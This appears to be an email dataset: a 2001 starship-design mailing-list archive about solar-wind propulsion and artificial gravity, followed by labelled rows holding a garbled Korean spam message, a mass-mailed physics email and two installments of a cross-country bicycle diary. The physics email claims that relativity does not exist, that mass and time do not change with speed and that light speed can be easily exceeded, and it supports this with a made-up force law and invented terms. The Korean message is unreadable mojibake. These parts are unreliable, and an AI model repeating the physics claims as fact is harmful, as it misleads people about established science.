Unfortunately, I see no way to ""tack"" this craft. It is not a sail, in that it doesn't deflect anything. As far as being one way, well I suppose that is more a matter of charge than anything else. It should be possible to use this for braking a ship coming into a solar system as well. Weren't we looking at a system that would accelerate a craft out but couldn't slow it down? Here are the brakes.... Lee >From VM Fri Jun 22 10:10:14 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1942"" ""Friday"" ""22"" ""June"" ""2001"" ""09:28:28"" ""-0500"" ""Kevin Houston"" ""kevin@urly-bird.com"" nil ""45"" ""Re: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far)"" ""^From:"" nil nil ""6"" nil nil nil nil nil] nil) Content-Length: 1942 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f5MEQYV20300 for starship-design-outgoing; Fri, 22 Jun 2001 07:26:34 -0700 (PDT) Received: from c009.snv.cp.net (c009-h019.c009.snv.cp.net [209.228.34.132]) by darkwing.uoregon.edu (8.10.1/8.10.1) with SMTP id f5MEQXx20295 for ; Fri, 22 Jun 2001 07:26:33 -0700 (PDT) Received: (cpmta 3880 invoked from network); 22 Jun 2001 07:26:18 -0700 Received: from ip16.minneapolis6.mn.pub-ip.psi.net (HELO urly-bird.com) (38.27.198.16) by smtp.surfree.com (209.228.34.132) with SMTP; 22 Jun 2001 07:26:18 -0700 X-Sent: 22 Jun 2001 14:26:18 GMT Message-ID: <3B33560C.4F7BAFBE@urly-bird.com> X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 References: <002301c0faae$17277810$0100a8c0@broadsword> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Kevin Houston From: Kevin Houston Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: Re: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far) Date: Fri, 22 Jun 2001 09:28:28 -0500 What if the magnaetic bubble was also spinning (or varying it's field orientation in a cirular manner) like a magnuson effect wind-sail, or a spinning baseball? (let's ignore surface irregularity arguments for the moment.) Would this allow one to ""Tack"" a spherical object against the wind. I realize those are pressure effects, and that the solar wind may not be dense enough to provide much of a differential, but we might be able to over come that by increasing the rotation speed. (especially if we are talking rotating energy, and not rotating mass.) ok, it is early, and we all know that my physics is not the greatest, but imagine a magnetic field spinning at a very high rate, with speed control provided by the fastest dedicated CPU we can muster. Now imagine a solar wind particle entering the sphere from one side, it is moving at a pretty good clip. Upon interacting with our mag- field, the particle will be deflected 90 degrees (depending upon the speed of the rotation) and the momentum vector will not point directly away from the sun, but off to one side or the other. This will allow you to add to your orbital speed, thereby slowing down, while moving to a larger orbit, or subtract from your orbital speed, thus moving into a tighter orbit, and speeding up. Kevin Houston ""L. Parker"" wrote: > > Ben Franchuk wrote: > > > Can this be used for local transport like from the Terra to Luna? > > At the moment it looks to be one way only. How do you TACK against > > the solar wind. > > Unfortunately, I see no way to ""tack"" this craft. It is not a sail, in that > it doesn't deflect anything. As far as being one way, well I suppose that is > more a matter of charge than anything else. It should be possible to use > this for braking a ship coming into a solar system as well. Weren't we > looking at a system that would accelerate a craft out but couldn't slow it > down? Here are the brakes.... > > Lee >From VM Fri Jun 22 14:10:23 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1057"" ""Friday"" ""22"" ""June"" ""2001"" ""13:45:13"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""20"" ""Re: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far)"" ""^From:"" nil nil ""6"" nil nil nil nil nil] nil) Content-Length: 1057 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f5MKjia08354 for starship-design-outgoing; Fri, 22 Jun 2001 13:45:44 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f5MKjhx08347 for ; Fri, 22 Jun 2001 13:45:43 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f5MKjfq03613 for ; Fri, 22 Jun 2001 13:45:41 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f5MKjEv09983; Fri, 22 Jun 2001 13:45:14 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15155.44633.390238.433227@tzadkiel.efn.org> In-Reply-To: <3B33560C.4F7BAFBE@urly-bird.com> References: <002301c0faae$17277810$0100a8c0@broadsword> <3B33560C.4F7BAFBE@urly-bird.com> X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: Re: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far) Date: Fri, 22 Jun 2001 13:45:13 -0700 Kevin Houston writes: > What if the magnaetic bubble was also spinning (or varying it's field > orientation in a cirular manner) like a magnuson effect wind-sail, > or a spinning baseball? (let's ignore surface irregularity arguments > for the moment.) > > Would this allow one to ""Tack"" a spherical object against the wind. It's been a while since my college physics course and its coverage of electromagnetism, but I think making the magnetic field spin is probably not going to be that effective. I do remember fairly clearly that charged particles spiral around magnetic field lines, since I had a physics lab that demonstrated this experimentally; continuously changing the orientation of the magnetic field will probably not do what you're hoping it would do. I suspect simply orienting the magnetic field in a particular way without continuously varying the orientation would deflect the charged particles in the solar wind to produce some ability to steer the thrust so it wouldn't have to be exactly parallel to the solar wind's flow. >From VM Mon Jun 25 09:48:36 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1374"" ""Friday"" ""22"" ""June"" ""2001"" ""20:07:29"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""33"" ""RE: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far)"" ""^From:"" nil nil ""6"" nil nil nil nil nil] nil) Content-Length: 1374 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f5N1A5f01612 for starship-design-outgoing; Fri, 22 Jun 2001 18:10:05 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f5N1A3x01604 for ; Fri, 22 Jun 2001 18:10:03 -0700 (PDT) Received: from broadsword (p479.gnt.com [204.49.91.95]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id UAA28516; Fri, 22 Jun 2001 20:09:44 -0500 Message-ID: <003c01c0fb80$e7767660$0100a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal In-Reply-To: <15155.44633.390238.433227@tzadkiel.efn.org> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Steve VanDevender'"" , ""'Starship-Design \\(E-mail\\)'"" Subject: RE: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far) Date: Fri, 22 Jun 2001 20:07:29 -0500 > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Steve > VanDevender > Kevin Houston writes: > > What if the magnaetic bubble was also spinning (or varying > it's field > > orientation in a cirular manner) like a magnuson effect wind-sail, > > or a spinning baseball? (let's ignore surface > irregularity arguments > > for the moment.) > > > > Would this allow one to ""Tack"" a spherical object against the wind. > > It's been a while since my college physics course and its coverage of > electromagnetism, but I think making the magnetic field spin > is probably > not going to be that effective. I do remember fairly clearly that > charged particles spiral around magnetic field lines, since I had a > physics lab that demonstrated this experimentally; > continuously changing > the orientation of the magnetic field will probably not do what you're > hoping it would do. > > I suspect simply orienting the magnetic field in a particular way > without continuously varying the orientation would deflect the charged > particles in the solar wind to produce some ability to steer > the thrust > so it wouldn't have to be exactly parallel to the solar wind's flow. Actually, I think it would be simplest to just vary the potential of the magnetic field on one side to create an imbalanced thrust.... Lee >From VM Mon Jul 23 11:25:19 2001 Content-Length: 155 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""155"" ""Saturday"" ""21"" ""July"" ""2001"" ""19:23:21"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""3"" ""starship-design: Worlds in space"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 155 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f6M1Kew24905 for starship-design-outgoing; Sat, 21 Jul 2001 18:20:40 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f6M1Kc224892 for ; Sat, 21 Jul 2001 18:20:38 -0700 (PDT) Received: from jetnet.ab.ca (dialin40.jetnet.ab.ca [207.153.6.40]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id TAA00654; Sat, 21 Jul 2001 19:20:31 -0600 (MDT) Message-ID: <3B5A2B09.A55E2D21@jetnet.ab.ca> X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i586) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""Richard P. Doran Sr."" , ""starship-design@lists.uoregon.edu"" Subject: starship-design: Worlds in space Date: Sat, 21 Jul 2001 19:23:21 -0600 Part of deep space exploration is that of distant worlds. Since we can't get to many of them yet, here is information on creating worlds by computer. Ben. >From VM Mon Jul 23 11:25:19 2001 Content-Length: 235 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""235"" ""Saturday"" ""21"" ""July"" ""2001"" ""19:25:04"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""5"" ""starship-design: Worlds in space - corrected"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 235 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f6M1MHT25252 for starship-design-outgoing; Sat, 21 Jul 2001 18:22:17 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f6M1MG225246 for ; Sat, 21 Jul 2001 18:22:16 -0700 (PDT) Received: from jetnet.ab.ca (dialin40.jetnet.ab.ca [207.153.6.40]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id TAA00688; Sat, 21 Jul 2001 19:22:13 -0600 (MDT) Message-ID: <3B5A2B70.63A6C7C5@jetnet.ab.ca> X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i586) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""Richard P. Doran Sr."" , ""starship-design@lists.uoregon.edu"" Subject: starship-design: Worlds in space - corrected Date: Sat, 21 Jul 2001 19:25:04 -0600 Part of deep space exploration is that of distant worlds. Since we can't get to many of them yet, here is information on creating worlds by computer. duh ... the link http://curriculum.calstatela.edu/courses/builders/index.html Ben. >From VM Mon Jul 30 10:00:36 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""179"" ""Saturday"" ""28"" ""July"" ""2001"" ""01:53:07"" """" ""jim clem"" ""travmind@hotmail.com"" nil ""6"" """" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 179 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f6S1rEA10932 for starship-design-outgoing; Fri, 27 Jul 2001 18:53:14 -0700 (PDT) Received: from hotmail.com (f64.law4.hotmail.com [216.33.149.64]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f6S1rD210926 for ; Fri, 27 Jul 2001 18:53:13 -0700 (PDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 27 Jul 2001 18:53:08 -0700 Received: from 66.129.14.135 by lw4fd.law4.hotmail.msn.com with HTTP; Sat, 28 Jul 2001 01:53:07 GMT X-Originating-IP: [66.129.14.135] Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 28 Jul 2001 01:53:08.0074 (UTC) FILETIME=[0C8BA4A0:01C11708] Precedence: bulk Reply-To: ""jim clem"" From: ""jim clem"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Date: Sat, 28 Jul 2001 01:53:07 Is this list still active? Jim Clem _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp >From VM Mon Jul 30 10:00:36 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""140"" ""Friday"" ""27"" ""July"" ""2001"" ""19:07:16"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""7"" """" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 140 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f6S287m14068 for starship-design-outgoing; Fri, 27 Jul 2001 19:08:07 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f6S286214063 for ; Fri, 27 Jul 2001 19:08:06 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f6S285K06022 for ; Fri, 27 Jul 2001 19:08:05 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f6S27IK31034; Fri, 27 Jul 2001 19:07:18 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15202.7764.975439.432784@tzadkiel.efn.org> In-Reply-To: References: X-Mailer: VM 6.95 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Date: Fri, 27 Jul 2001 19:07:16 -0700 jim clem writes: > Is this list still active? > > Jim Clem The list still exists, but it has been rather quiet in the past few months. >From VM Mon Jul 30 10:00:36 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""664"" ""Friday"" ""27"" ""July"" ""2001"" ""20:50:46"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""12"" ""starship-design: Re: "" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 664 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f6S2j8Y21986 for starship-design-outgoing; Fri, 27 Jul 2001 19:45:08 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f6S2j7221981 for ; Fri, 27 Jul 2001 19:45:07 -0700 (PDT) Received: from jetnet.ab.ca (dialin43.jetnet.ab.ca [207.153.6.43]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id UAA16705 for ; Fri, 27 Jul 2001 20:44:36 -0600 (MDT) Message-ID: <3B622886.86941D57@jetnet.ab.ca> X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i586) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: starship-design: Re: Date: Fri, 27 Jul 2001 20:50:46 -0600 Hmm a blank subject --- that makes it real quiet. I just happened to reading this ""Artificial Gravity and the Architecture of Orbital Habitats"" http://www.spacefuture.com/archive/artificial_gravity_and_the_architecture_of_orbital_habitats.shtml This is interesting as it seems that any space travel for longer than about 6-9 months requires some form of Artfitial gravity. For us low tech people with out synthetic gravity that means a diameter of 40+ meters for a rotating living area.. So until we get the nuclear rockets developed even in solar system travel will require gravity. http://www.msfc.nasa.gov/STD/propulsion/research/fusion/gdm/fusiongen.html Ben.",0,1 �� �̶� ,minnie@uclink4.berkeley.edu,"Fri, 02 Mar 1934 03:54:16 +0000",��ü�ڵ� �ٷ� ��û���ص� ���� �����Ա� ��ī�ڴ�,�� �� �� �� �� �� �� �� �� �� �� �� �� �� �� ������ ������ �� �� ������ �� �� �� �� �� �� �� �� ��   �� �� �� �� �� �� �� �� ������ �� �� �� �� �� �� ���� �� ������ ������������   ������ ���������� ������   ����������,1,1 Yun-Qi Kingdom ,University-Ore1@XXXXXXXX.XXXXXXX.XXX,"Fri, 22 Jun 2001 23:04:42 -0400",>< Is the Speed of Light a Limit ?!,"<> Dear Professor/Researcher: !!! We can pass the Speed of Light for sure !!! 1. Today's physics assumes that the forces which a particle receives from the fixed field sources are constant during its moving. Unfortunately, this prior assumption is totally WRONG! The force which a particle receives from the fixed field source is NOT CONSTANT. It will vary with the moving speed v of this particle. The formula will be: F = (1-v^2/c^2)Fo Where Fo is the force which a particle receives at its rest state, and the c is the speed of light; 2. From point 1, if a particle's velocity approaches to the speed of light c, this particle then will receive NO force. Therefore, this particle will have NO acceleration at that time, OF COURSE this particle can not pass the speed of light; 3. If we use other force sources, for example imaging if this particle like a jet, then we can broken the speed of light c easily. In one word: !!! There is NO speed limit, and we can pass the speed of light just like we pass the speed of sound !!! 4. The mass of a particle will NOT change during its moving. The formula: m = m0 / (1-v^2/c^2)^(1/2) is wrong; 5. The time will definitely NOT change during its moving. The formula: t = t0 * (1-v^2/c^2)^(1/2) is also wrong; 6. Actually, point 4 and 5 are come from the following: F = m0 dv/d(t0) (1-v^2/c^2)Fo = m0 dv/d(t0) Fo = [m0 dv/d(t0)] / (1-v^2/c^2) Fo = [m0/(1-v^2/c^2)^(1/2)] * {dv/d [t0 (1-v^2/c^2)^(1/2)]} Comparing with the general form: Fo = m dv/dt Then we get these two funny formulas: m = m0 / (1-v^2/c^2)^(1/2) and t = t0 * (1-v^2/c^2)^(1/2) They are only the mathematical terms and no real physical meanings. --- How can we use them as our principles ?! 7. So, my conclusion is: ----->> There exists NO relativity. One may ask that why most of the past and today's experiments have strongly supported the relativity? : There really exist some ""relativity"" results, BUT they are NOT coming from the relativity, they indeed comes from the following force's FACTOR: 1-v^2/c^2 Please go to my website for the details: XXXX://www.yun-qi.com === << EXPERIMENTS HINTS >> === If we set S = eBR/(mc), where e is the electron charge, R is the cyclotron radius that a charged particle bending in the magnetic field B, m is the rest mass of this particle, and c is the speed of light. For the fixed magnetic field force, say Lorentz force, we have: Today's Theory: F = evB S = (v/c) / (1-v^2/c^2)^(1/2) v/c = 1 / (1+1/S^2)^(1/2) Yun-Qi Theory: F = (1-v^2/c^2) (Lorentz Force) = (1-v^2/c^2) evB S = (v/c) / (1-v^2/c^2) v/c = [1+1/(4S^2)]^(1/2) - 1/(2S) These two theories will give the totally different data of the real speeds for the certain S, and will give the huge differences of the velocity changes for the different S. For example, if we set the cyclotron radius is equal to one (1), the relativity theory will teach us that the particle's velocity is 0.707106781c, BUT Yun-Qi theory will predict that its real velocity will actually be 0.618033988c --- the exact Golden Number. The net difference is 0.089072793c. See, there exists a big difference here. Please check my website XXXX://www.yun-qi.com for the detailed data of the huge differences. And I guess you can see the experiments soon. Since it is NOT difficult to do these kinds of experiments today. Incidentally, my first Yun-Qi paper has given all the derivations from ""NON---Nothing"" --- to the following most astounding academic results: 1. Ohitor Algebra; 2. Integration; 3. Differentiation; 4. Ohitor Bexl; 5. V-Space; 6. A-Space; 7. Most of Mechanics Laws; 8. Gravity Law --- is not clearly shown, but in it; 9. Many New Laws, like spin, mota, ...... All in a 41-page article. Here are some new concepts: ohitor, bexl, mota, ... I just can't use today's words to express them. If you are interested, please go to my website, or you can download it directly from here: 1. For ""Acrobat Reader"": --- XXXX://www.yun-qi.com/Yq01.pdf 2. For ""DVI File"": --------- XXXX://www.yun-qi.com/Yq01.dvi 3. For ""PostScript File"": -- XXXX://www.yun-qi.com/Yq01.ps Thank you very much and have a nice day. Sincerely, Changyu Wang. === You needn't to ask removing your e-mail address from our mailing list. It will be deleted automatically once this email is sent out. Please let us know immediately if you receiving this e-mail twice. Thank you. ===",0,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Sat, 23 Jun 2001 16:35:00 -0400",Bike Diary #1," The starting point for this trip, my apartment on Highland Avenue in Somerville, is at latitude 42 degrees 23 minutes 16 seconds north, longitude 71 degrees 6 minutes 3 seconds west. You'll have to wait and see to find out the coordinates of the ending point. Day 1 Date: Saturday, June 23, 2001 Distance: 90 miles Moving average speed: 12.8 mph Left at 7:30 AM Arrived at 4:00 PM Overnight in Erving State Forest near Erving, Massachusetts latitude 42 degrees 37 minutes 11 seconds north longitude 72 degrees 22 minutes 9 seconds west ""An inauspicious beginning"" I think it was Kate Courteau who used the expression quoted above in reference to the weather as a small group of friends gathered in front of my apartment this morning to give me a sendoff on my trip. My departure had been postponed so many times already that I was pretty determined to get going for real this morning. ""Damn the forecast, full speed ahead,"" or something similar. The ride itself went pretty smoothly. We left about on time, and some folks even escorted me out of town. Jono, in his determination to get the perfect departure photo despite the dead battery in his camera, even stuck it out beyond Concord (the others, Max & Co., were en route to Hartford, Conneticut, and split off in Belmont). I really appreciate the escorts; a little moral support at the beginning of a great and daunting enterprise such as this makes a big difference. The night before depating I weighed myself and the bicycle. It seems like we're both getting a little heavy; I was 180 pounds and the loaded bicycle 104 (34 pounds unloaded). The weight of the load seemed awfully high to me, as my recollection from previous tours was that it should be about 45 pounds, not 70. I have a few frivolities with me this time that are adding weight to the load (such as the handheld PC that I am writing the on), but the certainly don't add up to 25 pounds. Nonetheless, repeated careful measurements always came up with the same result. At any rate, the weight of the load was the major factor in setting the pace for today, it forced me to slow to creep (8-9 mph) going uphill, of which there was plenty on today's ride. Nonetheless, I managed a respectable overall moving average speed, 12.8 mph shown in the table above. When you're riding a 100 pound machine, you're pround of 12 mph and not ashamed of 10. I went through a number of old industrial towns, notably Gardner, Athol and Orange (all in Massachuetts, of course) with beautiful old water powered brick factories left over rom the days when we actually built things in this country. Most of these towns had made some efforts at preservation (a la Lowell). When I arrived at Erving State Forest in the midafternoon (my final destination for the day and where I sit now as I am writing this), Kate's prophecy of bad weather started to violently come true. I barely had time to pitch my tent and get my gear inside before a Wagnerian storm broke and sheets of water started pouring from the sky. Unfortunately, the campsite I was assigned was not well designed: it was built on a slope insead of the preferred way of having a peak (on which you pitch the tent) surrounded by lower ground. This means that the water which runs off the tent on the uphill side the runs under it and soaks through the floor. I actually think the guys here were trying to be nice to me by giving me this since it is the closest to the water supply and the head, but in reality they did me a bit of a disservice. I was forced to crouch in my tent cursing while water seeped through the floor and everything started getting damp. Once the rains did finally stop; everything was a sea of mud because instead of grass the campsite has bare dirt. Oh well, it will all dry out again in another day or two. Day 2 Date: Sunday, June 24, 2001 Distance: 93 miles Moving average speed: 11.4 mph Left at 7:30 AM Arrived at 6:00 PM Overnight in Austerlitz, NY latitude 42 degrees 17 minutes 8 seconds north longitude 73 degrees 29 minutes 57 seconds west The moving average speed for today tells it all: I crossed the Berkshires at a snail's pace. It is my opinion that the Berkshires are by far more difficult to cross than the average Rocky Mountain pass. As I was struggling up one of the steeper grades on route 20 west of Huntington, MA that it would be very easy to prove that opinion is a fact if I had one of those fancy bicycle computers that include an altimeter and use it to tell how far you've climbed. I decided to cross the Connecticut River on the bike path that connects Belchertown to Northampton, the first time in all the times that I have bicycled across Massachusetts that I have tried this path. This meant starting the day on nearly a due south trajectory, riding from Erving to Amherst, where I stopped for a patry and coffee. At the coffee shop, I met Frank Tripoli, who lives in Ware and bicycles the path from Belchertown to Northampton and return for exercise. It was a lucky chance; he gave me good directions to the path, and when I caught up to him on it, we had a long conversation. He seems to have a habit of encountering cross-country adventurers on that bike path, the last one was a guy walking his dog from San Diego to Boston. Frank has a younger brother, Steve, who works as a reporter for WBUR, one of the NPR affiliates in Boston. I've heard that voice thousands of times. Tonight I'm staying at my aunt's house in Austerlitz. It's a welcome chance to lay out all my soaked gear to dry and sleep in a warm bed. ",0,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Mon, 25 Jun 2001 19:50:00 -0400",Bike Diary #2,"Day 3 Date: Monday June 25, 2001 Distance: 108 miles Moving average speed: 12.6 mph Left at 9:30 AM Arrived at 7:00 PM Overnight in Glimmerglass State Park near Cooperstown, NY latitude 42 d 47 m 8 s N longitude 74 d 51 m 50 s W Cumulative distance: 291 miles After a very late start, I discovered that the weather gods had changed their minds about my project and decided to provide me with near-perfect cycling conditions. So in spite of the late start and a moderately sore knee I decided to make hay while the sun was shining instead of taking a shorter day as I had originally planned. The day went pretty smoothly. I took my first bite out of the Catskills today and with the exception of one heart-breaking grade 87 miles into today's ride, they have proven to be alot easier than the Berkshires were (compare today's average speed with yesterday's to see the effect). Not much to report, today was mostly about grinding out the miles. One interesting quirk: when I arrived at Glimmerglass State Park, there was a note in the window of the ranger's office listing the campsites that were not reserved for the night and instructing guests to move in and expect a visit from the ranger later in the evening to collect the camping fee. So I did and he did, but an hour later I had a second visit from the same ranger who came to refund my $15.75 camping fee. Apparently his supervisor ""has a lot of respect for"" crazy guys like me who try to bicycle across the country and figures we deserve a free night of camping for our efforts. Day 4 Date: Tuesday June 26, 2001 Distance: 74 miles Moving average speed: 12.2 mph Left at 8:30 AM Arrived at 7:00 PM Overnight in Chittenango Falls State Park southeast of Syracuse, NY latitude 42 d 58 m 47 s N longitude 75 d 50 m 42 s W Cumulative distance: 365 miles It was a short distance today because I spent most of the morning in the National Baseball Hall of Fame in Cooperstown, NY. That is definitely worth a visit, even if you are not a hardcore baseball fan (and I am not). Then I turned west, which is to say perpendicular to the direction of the Catskills (or parallel to their gradient, if you prefer). This meant that instead of following valleys between hills, I was forced to confront them head on and the day turned into and endless series of long tedious ascents followed by breathtaking descents with a small town in the valley. The continuous up and down made it impossible to make any time. As I was creeping up one of the long ascents, I was reminded of one of the basic principles of railroad engineering. When building a line between points A and B, one should find the highest point between the two and then make a gradual ascent to that point and a gradual descent from it to minimize the cost of operating the railraod. Any deviation from this ideal is referred to as ""redundant grade"". On a bicycle, screaming downhill at 30 mph is exciting but very wasteful since the energy you put into climbing the hill is squandered in wind resistance. The energy lost to wind resistance per unit distance (i.e. the force) grows as the velocity squared; this means you won't get nearly as much distance for your hard-earned energy on a rapid descent as you will on a gradual one. Crossing the Catskills was all about redundant grade. No railroad engineer in his right mind would try to build a line along US 20 in New York State. In fact, they didn't, the railroad and the Erie Canal before it were built a good deal north of US 20. After sweating up a few redundant grades I stopped in at the Red Door Restaurant in West Winfield. There a few friendly locals gave me dire warnings about the ""Pompey Hills"" coming up on route 20. ""They put that road in back in '70, and they didn't make any unnecessary cuts."" Since there was agreement among three locals about the difficulty of crossing the ""Pompey Hills"", and since they were dire enough to rate not only local recognition but their own special name, I decided that I would get plenty of exercise on my way to Seattle even if I routed myself around the ""Pompey Hills"". Therefore I departed route 20 in Cazenovia, NY, my plan being to take refuge from the hills along the southern shore of Oneida Lake and north of Syracuse and the join the railroad and the canal west of Syracuse. That also put a very convenient state park in my way for an overnight, which is where I am as I am writing this. I did run into another long-distance cyclist on route 20 today. He was headed east on his way from Sioux Falls, SD to Bennington, VT. He was the sort who eschews (or perhas hasn't heard of) national cycling organizations and expensive equipment. He was riding a middling-quality mountain bike, wearing a painter's cap and baggy shorts, and had made it from Erie, PA to Syracuse, NY in four days (pretty darn good time). He just got on a bike with a AAA map and went. He did mention that he had passed a westbound couple doing a perimeter tour of the US in Erie who were hoping to make Washington State by August 31. I'm hoping to get there by August 15, and there's a good chance that they are followng the same Northern Tier route as I, so if we all stick to our schedules I should overtake them. They're about 8-9 days ahead of me now, so I probably won't close the gap until we get out west somewhere. Day 5 Date: Wednesday June 27,, 2001 Distance: 108 miles Moving average speed: 13.3 mph Left at 7:45 AM Arrived at 7:00 PM Overnight in motel in Rochester, NY latitude 43 d 6 m 41 s N longitude 77d 32 m 55 s W Today I finally passed through the difficult terrain of the Catskills and came into the promised land: the Erie Canal and level ground. I left Chittenango Falls this morning still planning to follow Madison County route 3 to state road 31 and follow that along the southern shore of Oneida Lake and north of Syracuse. Imagine my surprise when only a couple of miles north of Chittenango I crossed what was unmistakably a canal with a crushed stone towpath headed west. The sign said ""Old Erie Canal State Park and Trailway"". As it turns out, that word ""Old"" is packed full of meaning. What the sign should have said was something like ""original Erie Canal, abandoned shortly after the turn of the twentieth century in favor of a rebuilt canal to the north that goes through Oneida Lake."" However, the sign said nothing of the sort, and so I assumed I had hit the towpath that the Adventure Cycling Northern Tier route takes west of Palmyra, NY. Despite the fact that the towpath was unpaved (dry crushed stone is not alont worse than asphalt when you're riding on 700 X 35C tires), I could not resist the temptation of a level canal grade. I was hoping that it would take me right through Syracuse along a level grade all the way to Rochester. Instead, it ended abruptly after ten miles just outside of Syracuse. It turns out that the path of the 